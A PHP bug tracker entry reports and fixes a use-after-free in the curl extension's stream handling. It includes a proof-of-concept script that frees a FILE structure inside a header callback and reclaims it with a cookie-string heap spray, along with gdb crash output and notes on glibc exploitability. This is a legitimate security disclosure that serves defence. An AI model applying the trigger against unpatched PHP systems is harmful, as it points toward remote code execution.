php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69316 Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER
Submitted: 2015-03-27 12:05 UTC Modified: 2015-04-14 07:28 UTC
From: bugs at themadbat dot com Assigned: stas (profile)
Status: Closed Package: cURL related
PHP Version: Irrelevant OS: Linux, Windows
Private report: No CVE-ID: None
 [2015-03-27 12:05 UTC] bugs at themadbat dot com
Description:
------------
All the relevant code mentioned below is in ext/curl/interface.c.
As far as I can see, every PHP version after (at least) 5.0 is affected; possibly older versions too.

When using CURLOPT_WRITEHEADER, CURLOPT_INFILE or CURLOPT_FILE, in _php_curl_setopt, the provided stream is cast to a stdio FILE*:

if (FAILURE == php_stream_cast((php_stream *) what, PHP_STREAM_AS_STDIO, (void *) &fp, REPORT_ERRORS)) {
	return FAILURE;
}

This FILE* is then stored in the php_curl structure "ch", at the following locations, depending on which CURLOPT_ was used:
- ch->handlers->write->fp = fp;
- ch->handlers->write_header->fp = fp;
- ch->handlers->read->fp = fp;

Upon curl_exec(), _php_curl_verify_handlers() is called, which verifies if the user-set stream(s) are still open, and resets ->fp to 0 if they are not.

However, there are a number of curl callbacks we can use to close the stream after _php_curl_verify_handlers() has been called, resulting in the FILE* being free()'d. By allocating memory that ends up a the same address where the FILE structure was, its possible to achieve arbitrary code execution.

The following functions use *->fp without checking if the corresponding streams are still open (and thus if *->fp still points to a valid FILE structure or not):
- static size_t curl_write(char *data, size_t size, size_t nmemb, void *ctx)
- static size_t curl_read(char *data, size_t size, size_t nmemb, void *ctx)
- static size_t curl_write_header(char *data, size_t size, size_t nmemb, void *ctx)
- curl_exec (after curl processing is finished, there are 2 fflush() calls)

On Linux, with PHP linked against GLIBC, arbitrary code execution is trivial, since FILE structures conveniently have a "vtable" full of function pointers which we now control.
On Windows, exploitability depends on the version of the C runtime being used. Recent MS C runtimes keep a cache of FILE structures (they aren't free()'d upon fclose()), which complicates things.

Please see the test script attached, tested against:
- 64-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:47:39) 
- 32-bit PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 
- 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG)   - custom build with ./configure --with-curl --enable-debug

Test script:
---------------
<?php
function hdr_callback($ch, $data) {
    global $f_file;

    if ($f_file) {
    	// close the stream, causing the FILE structure to be free()'d
        fclose($f_file); $f_file = 0;

        // cause an allocation of approx the same size as a FILE structure, size varies a bit depending on platform/libc
        $FILE_size = (PHP_INT_SIZE == 4 ? 0x160 : 0x238);
        curl_setopt($ch, CURLOPT_COOKIE, str_repeat("a", $FILE_size - 1));
    }

    return strlen($data);
}

$ch = curl_init('http://www.php.net/');
$f_file = fopen("body", "w") or die("failed to open file\n");
curl_setopt($ch, CURLOPT_BUFFERSIZE, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, "hdr_callback");
curl_setopt($ch, CURLOPT_FILE, $f_file);
curl_exec($ch);
?>

Expected result:
----------------
Segmentation fault.

Actual result:
--------------
sergio@ubuntu:/php-5.6.7-32$ gdb sapi/cli/php -ex 'r test.php'

Reading symbols from sapi/cli/php...done.
Starting program: /php-5.6.7-32/sapi/cli/php test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff151b700 (LWP 29817)]
[Thread 0x7ffff151b700 (LWP 29817) exited]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41

(gdb) bt
#0  0x00007ffff6d90dbf in __GI__IO_fwrite (buf=0x11178e9, size=1, count=1, fp=0x111fc70) at iofwrite.c:41
#1  0x000000000057e7f9 in curl_write (data=0x11178e9 "<", size=<optimized out>, nmemb=<optimized out>, ctx=0x7ffff7fc7550) at /php-5.6.7/ext/curl/interface.c:1303
#2  0x00007ffff70fba70 in Curl_client_write (conn=conn@entry=0x1129400, type=type@entry=1, ptr=0x11178e9 "<", len=1) at sendf.c:441
#3  0x00007ffff71101e0 in readwrite_data (done=0x7fffffffae07, didwhat=<synthetic pointer>, k=0x1117078, conn=0x1129400, data=0x1117000) at transfer.c:720
#4  Curl_readwrite (conn=0x1129400, done=done@entry=0x7fffffffae07) at transfer.c:1039
#5  0x00007ffff711932c in multi_runsingle (multi=multi@entry=0x1116860, now=..., data=data@entry=0x1117000) at multi.c:1479
#6  0x00007ffff7119ad1 in curl_multi_perform (multi_handle=multi_handle@entry=0x1116860, running_handles=running_handles@entry=0x7fffffffaec4) at multi.c:1752
#7  0x00007ffff7111233 in easy_transfer (multi=0x1116860) at easy.c:705
#8  easy_perform (events=false, data=0x1117000) at easy.c:784
#9  curl_easy_perform (easy=0x1117000) at easy.c:803
#10 0x00000000005836a8 in zif_curl_exec (ht=<optimized out>, return_value=0x7ffff7fc6f38, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /php-5.6.7/ext/curl/interface.c:2966
#11 0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:558
#12 0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:2595
#13 0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f310) at /php-5.6.7/Zend/zend_vm_execute.h:363
#14 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc5428) at /php-5.6.7/Zend/zend_vm_execute.h:388
#15 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341
#16 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd560) at /php-5.6.7/main/main.c:2597
#17 0x00000000008a915e in do_cli (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:994
#18 0x00000000008aa48c in main (argc=2, argv=0xf7b7a0) at /php-5.6.7/sapi/cli/php_cli.c:1378

(gdb) info reg
rax            0x0      0
rbx            0x111fc70        17955952
rcx            0x111fc70        17955952
rdx            0x7ffff7fce780   140737353934720
rsi            0x1      1
rdi            0x11178e9        17922281
rbp            0x1      0x1
rsp            0x7fffffffac30   0x7fffffffac30
r8             0x6161616161616161       7016996765293437281			<---- sprayed memory
r9             0x11178e9        17922281
r10            0x7fffffffaa20   140737488333344
r11            0x7ffff6d90d80   140737334807936
r12            0x1      1
r13            0x1      1
r14            0x11178e9        17922281
r15            0x0      0
rip            0x7ffff6d90dbf   0x7ffff6d90dbf <__GI__IO_fwrite+63>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Patches

bug69316.patch (last revision 2015-03-30 02:55 UTC by laruence@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-03-30 02:55 UTC] laruence@php.net
The following patch has been added/updated:

Patch Name: bug69316.patch
Revision:   1427684111
URL:        https://bugs.php.net/patch-display.php?bug=69316&patch=bug69316.patch&revision=1427684111
 [2015-03-30 02:56 UTC] laruence@php.net
so, basically, we need call verify_handlers after every external user function is called.

a patch is attached.
 [2015-04-06 05:20 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2015-04-14 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0ea75af9be8a40836951fc89f723dd5390b8b46f
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-14 07:29 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=0ea75af9be8a40836951fc89f723dd5390b8b46f
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cb0d325066486efafde8d9c324e083ac3d10a174
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 [2015-04-15 08:43 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=f0ff43ec8123125f385a65c13452fdf25072ef44
Log: Fixed bug #69316 (Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 04:01:31 2024 UTC